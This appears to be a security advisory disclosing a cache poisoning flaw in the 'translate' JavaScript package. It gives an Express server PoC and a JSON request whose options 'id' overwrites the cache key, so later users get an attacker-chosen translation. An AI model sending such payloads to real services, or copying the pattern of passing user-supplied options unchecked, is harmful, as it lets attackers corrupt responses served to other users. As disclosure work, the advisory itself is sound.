Cache Poisoning Vulnerability

Summary

An attacker controlling the second variable of the translate function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.

Details

The opt.id parameter allows the overwriting of the cache key. If an attacker sets the id variable to the cache key that would be generated by another user, they can choose the response that user gets served.

PoC

Take the following simple server allowing users to supply text and the language to translate to.

import translate from "translate";
import express from 'express';

const app = express();
app.use(express.json());

app.post('/translate', async (req, res) => {
  const { text, language } = req.body;
  const result = await translate(text, language);
  return res.json(result);
});

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

We can send the following request to poison the cache:

{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}

Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response.

Impact

An attacker can control the results other users may get